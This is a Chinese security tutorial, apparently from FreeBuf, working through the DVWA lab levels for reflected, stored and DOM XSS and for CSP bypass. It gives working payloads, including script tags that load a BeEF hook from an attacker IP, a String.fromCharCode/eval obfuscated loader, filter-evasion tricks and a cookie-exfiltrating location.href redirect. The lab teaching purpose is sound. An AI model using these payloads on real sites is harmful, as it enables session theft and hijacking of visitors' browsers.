jelasin
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
XSS
XSS 指 Web 应用代码注入,攻击者向 Web 页面插入恶意 Script 代码,例如 JavaScript 脚本,CSS 或者其他代码。用户浏览该页面会执行其中嵌入的 Script 代码,从而获取 cookie,session,token或其他敏感信息,对用户进行钓鱼欺诈。
XSS 基础
反射型 XSS(非持久性 XSS)
这种 XSS 并没有保存到目标网站,而是将将恶意代码放在请求的响应结果中,浏览器解析后触发 XSS,一般引诱用户点击恶意链接来实施攻击。
dvwa 例题:
level: Low
<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
向 GET 请求注入代码:
127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert("hello")</script>
<script>alert("hello")</script>
反馈:
BeEF 利用:
攻击方IP: 192.168.152.128
。
靶场IP: 192.168.152.1
键入<script src="http://192.168.152.128:3000/hook.js"></script>
反馈:
URL: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22http%3A%2F%2F192.168.152.128%3A3000%2Fhook.js%22%3E%3C%2Fscript%3E#
变成了 hook.js地址,并且成功上线 BeFF,可通过Get cookie 获取 cookie信息。
界面跳转。
弹窗。
level: Medium
源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );//str_replace 区分大小写。
// Feedback for end user
$html .= "<pre>Hello {$name}</pre>";
}
?>
payload:
<Script src="http://192.168.152.128:3000/hook.js"></Script>
level: High
源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// 避开<script ,*贪婪匹配会匹配到 <
// Feedback for end user
$html .= "<pre>Hello {$name}</pre>";
}
?>
只要避免script
出现即可。
策略: 使用String.fromCharCode()
函数来创建"script"
和"http://192.168.152.128:3000/hook.js"
这两个字符串,以避免直接在代码中出现这些字符串。然后,我使用eval()
函数来执行这段代码。
payload:
<img src="nonexistent.jpg" onerror="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">
成功上线BeEF。
存储型 XSS
存储型 XSS 被保留在目标网站中,受害者浏览包含此恶意代码的网站就会执行恶意代码。通常出现在个人信息,网站留言,评论,博客日志等交互处。
dvwa 例题
level: Low
源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
在留言板键入<script src="http://192.168.152.128:3000/hook.js">
成功上线BeEF。
level: Medium
源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
str_replace
可以通过双写或者大写等绕过。
payload:
<scrip<script>t>http://192.168.152.128:3000/hook.js</scrip<script>t>
限制了输入长度,将其改为 200。
成功上线 BeEF。
level: High
源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
和 xss-r 的 High 难度一样,通过编码绕过。
payload:
<img src="nonexistent.jpg" onerror="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">
修改 Message 可输入长度。
成功上线 BeEF。
DOM 型 XSS
DOM 型 XSS 可以在前端通过 js 渲染来完成数据的交互,达到插入数据造成 XSS 脚本攻击。因 '#' 后面的内容不会发送到服务器上,所以即使抓包无无法抓取到这里的流量,也不会经过服务器过滤器阻止。而反射性与存储型 XSS 需要与服务器交互,这便是三者的区别。
dvwa 例题
level: Low
源码:
<?php
# No protections, anything goes
?>
select 任意一种语言后
URL: http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English
更改 default 参数。
payload:
<script src="http://192.168.152.128:3000/hook.js"></script>
成功上线 BeEF。
level: Medium
源码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
不允许<script
执行,更换闭合方式即可。
payload:
</option></select><iframe onload="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">
成功上线 BeEF。
level: High
源码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
服务端的白名单,可用 # 绕过,# 后的 js 将在本地解析,而不会上传至服务器,并且这个脚本对以上通用。
payload:
?default=English#<script src="http://192.168.152.128:3000/hook.js"></script>
成功上线 BeEF。
XSS进阶
CSP简述
CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,采取白名单制度,开发者告诉客户端,哪些外部资源可以加载和执行,哪些不可以。通过HTTP
消息头或者HTML
的Meta
标签中设置。正常CSP
有多组策略组成,每组策略包含一个策略指令和内容源列表。
通过
HTTP
消息头设置:
Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
通过
HTML
的Meta
标签中设置:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
CSP指令
script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如
<frame>
、<iframe>
、<embed>
和<applet>
)connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。
CSP指令值
*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联
<script>
标签,内联事件处理器,内联<style>
标签等,但出于安全考虑,不建议使用;nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
CSP绕过
location.href绕过
很多网站常常不得已需要执行内联,CSP不影响location.href跳转。我们可以借此执行JavaScript
,也可以利用loction
跳转外带数据。
location-herf.php
<?php
if (!isset($_COOKIE['a'])) {
setcookie('a',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['a'])) {
echo "Your GET content".@$_GET['a'];
}//
?>
payload
?a=<script>location.href="http://127.0.0.1"+document.cookie;</script>
dvwa 例题
Low
源码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
// 白名单
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
headerCSP 放置了一些 url,使用 script src 指令 指向一个外部 JavaScript 文件,header() 函数以原始形式将 HTTP 标头发送到客户端或浏览器,源码对 HTTP 头定义了 CSP 标签,从而定义了可以接受外部 JavaScript 资源的白名单。
Attack
首先在白名单网站https://pastebin.com/
里边创建一个JavaScript
代码alert("XSS")
保存记住链接eg: https://pastebin.com/raw/Qp0pTUvF
。
输入后,点击include
。因为网站在是国外的,访问较慢,可能不会出现弹窗。
抓包看一下,请求已经发送出去了。
Medium
源码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
CSP
策略尝试使用nonce
来防止攻击者添加内联脚本。HTTP
头信息中的script-src
的合法来源发生了变化。script-src
还可以设置一些特殊值,unsafe-inline
允许执行页面内嵌的<script>
标签和事件监听函数,nonce
值会在每次HTTP
回应给出一个授权token
。
Attack
payload
:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS")</script>
直接通过内联JavaScript
代码,注入时直接令nonce
为设定好的值即可。
High
源码
// high.php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
源代码的CSP:``"Content-Security-Policy: script-src ‘self’;"
意思是只能从本页面调用javascript
脚本。
// high.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
点击网页的按钮使js
生成一个script
标签,src
指向source/jsonp.php?callback=solveNum
。appendChild()
方法把“source/jsonp.php?callback=solveNum”
加入到 DOM 中。solveNum()
函数传入参数obj
,如果字符串“answer”
在obj
中就会执行。getElementById()
方法可返回对拥有指定ID
的第一个对象的引用,innerHTML
属性设置或返回表格行的开始和结束标签之间的HTML
。这里的script
标签会把远程加载的solveSum({"answer":"15"})
当作js
代码执行, 然后这个函数就会在页面显示答案。
// josnp.php
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
json.php
中的参数通过get
方式获取,且没有做过滤。
Attack
通过POST
传参将payload:include=<script src="source/jsonp.php?callback=alert('xss');"></script>
上传即可。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
